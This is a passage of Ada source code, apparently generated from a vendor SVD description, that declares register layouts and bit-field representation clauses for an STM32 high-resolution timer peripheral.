subtype CMP3DR_CMP3x_Field is HAL.UInt16;
-- Timerx Compare 3 Register
type CMP3DR_Register is record
-- Timerx Compare 3 value
CMP3x : CMP3DR_CMP3x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP3DR_Register use record
CMP3x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP4DR_CMP4x_Field is HAL.UInt16;
-- Timerx Compare 4 Register
type CMP4DR_Register is record
-- Timerx Compare 4 value
CMP4x : CMP4DR_CMP4x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP4DR_Register use record
CMP4x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT1DR_CPT1x_Field is HAL.UInt16;
-- Timerx Capture 1 Register
type CPT1DR_Register is record
-- Read-only. Timerx Capture 1 value
CPT1x : CPT1DR_CPT1x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1DR_Register use record
CPT1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT2DR_CPT2x_Field is HAL.UInt16;
-- Timerx Capture 2 Register
type CPT2DR_Register is record
-- Read-only. Timerx Capture 2 value
CPT2x : CPT2DR_CPT2x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2DR_Register use record
CPT2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype DTDR_DTRx_Field is HAL.UInt9;
subtype DTDR_DTPRSC_Field is HAL.UInt3;
subtype DTDR_DTFx_Field is HAL.UInt9;
-- Timerx Deadtime Register
type DTDR_Register is record
-- Deadtime Rising value
DTRx : DTDR_DTRx_Field := 16#0#;
-- Sign Deadtime Rising value
SDTRx : Boolean := False;
-- Deadtime Prescaler
DTPRSC : DTDR_DTPRSC_Field := 16#0#;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- Deadtime Rising Sign Lock
DTRSLKx : Boolean := False;
-- Deadtime Rising Lock
DTRLKx : Boolean := False;
-- Deadtime Falling value
DTFx : DTDR_DTFx_Field := 16#0#;
-- Sign Deadtime Falling value
SDTFx : Boolean := False;
-- unspecified
Reserved_26_29 : HAL.UInt4 := 16#0#;
-- Deadtime Falling Sign Lock
DTFSLKx : Boolean := False;
-- Deadtime Falling Lock
DTFLKx : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for DTDR_Register use record
DTRx at 0 range 0 .. 8;
SDTRx at 0 range 9 .. 9;
DTPRSC at 0 range 10 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
DTRSLKx at 0 range 14 .. 14;
DTRLKx at 0 range 15 .. 15;
DTFx at 0 range 16 .. 24;
SDTFx at 0 range 25 .. 25;
Reserved_26_29 at 0 range 26 .. 29;
DTFSLKx at 0 range 30 .. 30;
DTFLKx at 0 range 31 .. 31;
end record;
-- SETD1R_CMP array
type SETD1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETD1R_CMP
type SETD1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETD1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETD1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETD1R_MSTCMP array
type SETD1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETD1R_MSTCMP
type SETD1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETD1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETD1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETD1R_TIMEVNT array
type SETD1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETD1R_TIMEVNT
type SETD1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETD1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETD1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETD1R_EXTEVNT array
type SETD1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETD1R_EXTEVNT
type SETD1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETD1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETD1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Set Register
type SETD1R_Register is record
-- Software Set trigger
SST : Boolean := False;
-- Timer A resynchronizaton
RESYNC : Boolean := False;
-- Timer A Period
PER : Boolean := False;
-- Timer A compare 1
CMP : SETD1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master Period
MSTPER : Boolean := False;
-- Master Compare 1
MSTCMP : SETD1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- Timer Event 1
TIMEVNT : SETD1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : SETD1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- Registers update (transfer preload to active)
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETD1R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTD1R_CMP array
type RSTD1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTD1R_CMP
type RSTD1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTD1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTD1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTD1R_MSTCMP array
type RSTD1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTD1R_MSTCMP
type RSTD1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTD1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTD1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTD1R_TIMEVNT array
type RSTD1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTD1R_TIMEVNT
type RSTD1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTD1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTD1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTD1R_EXTEVNT array
type RSTD1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTD1R_EXTEVNT
type RSTD1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTD1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTD1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Reset Register
type RSTD1R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTD1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTD1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTD1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTD1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTD1R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- SETD2R_CMP array
type SETD2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETD2R_CMP
type SETD2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETD2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETD2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETD2R_MSTCMP array
type SETD2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETD2R_MSTCMP
type SETD2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETD2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETD2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETD2R_TIMEVNT array
type SETD2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETD2R_TIMEVNT
type SETD2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETD2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETD2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETD2R_EXTEVNT array
type SETD2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETD2R_EXTEVNT
type SETD2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETD2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETD2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Set Register
type SETD2R_Register is record
-- SST
SST : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : SETD2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : SETD2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : SETD2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : SETD2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETD2R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTD2R_CMP array
type RSTD2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTD2R_CMP
type RSTD2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTD2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTD2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTD2R_MSTCMP array
type RSTD2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTD2R_MSTCMP
type RSTD2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTD2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTD2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTD2R_TIMEVNT array
type RSTD2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTD2R_TIMEVNT
type RSTD2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTD2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTD2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTD2R_EXTEVNT array
type RSTD2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTD2R_EXTEVNT
type RSTD2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTD2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTD2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Reset Register
type RSTD2R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTD2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTD2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTD2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTD2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTD2R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
subtype EEFDR1_EE1FLTR_Field is HAL.UInt4;
subtype EEFDR1_EE2FLTR_Field is HAL.UInt4;
subtype EEFDR1_EE3FLTR_Field is HAL.UInt4;
subtype EEFDR1_EE4FLTR_Field is HAL.UInt4;
subtype EEFDR1_EE5FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 1
type EEFDR1_Register is record
-- External Event 1 latch
EE1LTCH : Boolean := False;
-- External Event 1 filter
EE1FLTR : EEFDR1_EE1FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 2 latch
EE2LTCH : Boolean := False;
-- External Event 2 filter
EE2FLTR : EEFDR1_EE2FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 3 latch
EE3LTCH : Boolean := False;
-- External Event 3 filter
EE3FLTR : EEFDR1_EE3FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 4 latch
EE4LTCH : Boolean := False;
-- External Event 4 filter
EE4FLTR : EEFDR1_EE4FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 5 latch
EE5LTCH : Boolean := False;
-- External Event 5 filter
EE5FLTR : EEFDR1_EE5FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFDR1_Register use record
EE1LTCH at 0 range 0 .. 0;
EE1FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE2LTCH at 0 range 6 .. 6;
EE2FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE3LTCH at 0 range 12 .. 12;
EE3FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE4LTCH at 0 range 18 .. 18;
EE4FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE5LTCH at 0 range 24 .. 24;
EE5FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype EEFDR2_EE6FLTR_Field is HAL.UInt4;
subtype EEFDR2_EE7FLTR_Field is HAL.UInt4;
subtype EEFDR2_EE8FLTR_Field is HAL.UInt4;
subtype EEFDR2_EE9FLTR_Field is HAL.UInt4;
subtype EEFDR2_EE10FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 2
type EEFDR2_Register is record
-- External Event 6 latch
EE6LTCH : Boolean := False;
-- External Event 6 filter
EE6FLTR : EEFDR2_EE6FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 7 latch
EE7LTCH : Boolean := False;
-- External Event 7 filter
EE7FLTR : EEFDR2_EE7FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 8 latch
EE8LTCH : Boolean := False;
-- External Event 8 filter
EE8FLTR : EEFDR2_EE8FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 9 latch
EE9LTCH : Boolean := False;
-- External Event 9 filter
EE9FLTR : EEFDR2_EE9FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 10 latch
EE10LTCH : Boolean := False;
-- External Event 10 filter
EE10FLTR : EEFDR2_EE10FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFDR2_Register use record
EE6LTCH at 0 range 0 .. 0;
EE6FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE7LTCH at 0 range 6 .. 6;
EE7FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE8LTCH at 0 range 12 .. 12;
EE8FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE9LTCH at 0 range 18 .. 18;
EE9FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE10LTCH at 0 range 24 .. 24;
EE10FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
-- RSTDR_CMP array
type RSTDR_CMP_Field_Array is array (2 .. 3) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for RSTDR_CMP
type RSTDR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt2;
when True =>
-- CMP as an array
Arr : RSTDR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for RSTDR_CMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- RSTDR_MSTCMP array
type RSTDR_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTDR_MSTCMP
type RSTDR_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTDR_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTDR_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTDR_EXTEVNT array
type RSTDR_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTDR_EXTEVNT
type RSTDR_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTDR_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTDR_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- RSTDR_TIMACMP array
type RSTDR_TIMACMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTDR_TIMACMP
type RSTDR_TIMACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMACMP as a value
Val : HAL.UInt3;
when True =>
-- TIMACMP as an array
Arr : RSTDR_TIMACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTDR_TIMACMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTDR_TIMBCMP array
type RSTDR_TIMBCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTDR_TIMBCMP
type RSTDR_TIMBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMBCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMBCMP as an array
Arr : RSTDR_TIMBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTDR_TIMBCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTDR_TIMCCMP array
type RSTDR_TIMCCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTDR_TIMCCMP
type RSTDR_TIMCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMCCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMCCMP as an array
Arr : RSTDR_TIMCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTDR_TIMCCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTDR_TIMECMP array
type RSTDR_TIMECMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTDR_TIMECMP
type RSTDR_TIMECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMECMP as a value
Val : HAL.UInt3;
when True =>
-- TIMECMP as an array
Arr : RSTDR_TIMECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTDR_TIMECMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- TimerA Reset Register
type RSTDR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Timer A Update reset
UPDT : Boolean := False;
-- Timer A compare 2 reset
CMP : RSTDR_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master timer Period
MSTPER : Boolean := False;
-- Master compare 1
MSTCMP : RSTDR_MSTCMP_Field :=
(As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : RSTDR_EXTEVNT_Field :=
(As_Array => False, Val => 16#0#);
-- Timer A Compare 1
TIMACMP : RSTDR_TIMACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B Compare 1
TIMBCMP : RSTDR_TIMBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C Compare 1
TIMCCMP : RSTDR_TIMCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E Compare 1
TIMECMP : RSTDR_TIMECMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTDR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
UPDT at 0 range 1 .. 1;
CMP at 0 range 2 .. 3;
MSTPER at 0 range 4 .. 4;
MSTCMP at 0 range 5 .. 8;
EXTEVNT at 0 range 9 .. 18;
TIMACMP at 0 range 19 .. 21;
TIMBCMP at 0 range 22 .. 24;
TIMCCMP at 0 range 25 .. 27;
TIMECMP at 0 range 28 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CHPDR_CHPFRQ_Field is HAL.UInt4;
subtype CHPDR_CHPDTY_Field is HAL.UInt3;
subtype CHPDR_STRTPW_Field is HAL.UInt4;
-- Timerx Chopper Register
type CHPDR_Register is record
-- Timerx carrier frequency value
CHPFRQ : CHPDR_CHPFRQ_Field := 16#0#;
-- Timerx chopper duty cycle value
CHPDTY : CHPDR_CHPDTY_Field := 16#0#;
-- STRTPW
STRTPW : CHPDR_STRTPW_Field := 16#0#;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CHPDR_Register use record
CHPFRQ at 0 range 0 .. 3;
CHPDTY at 0 range 4 .. 6;
STRTPW at 0 range 7 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- CPT1DCR_TACMP array
type CPT1DCR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1DCR_TACMP
type CPT1DCR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT1DCR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1DCR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1DCR_TBCMP array
type CPT1DCR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1DCR_TBCMP
type CPT1DCR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT1DCR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1DCR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1DCR_TCCMP array
type CPT1DCR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1DCR_TCCMP
type CPT1DCR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT1DCR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1DCR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1DCR_TECMP array
type CPT1DCR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1DCR_TECMP
type CPT1DCR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT1DCR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1DCR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Capture 2 Control Register
type CPT1DCR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
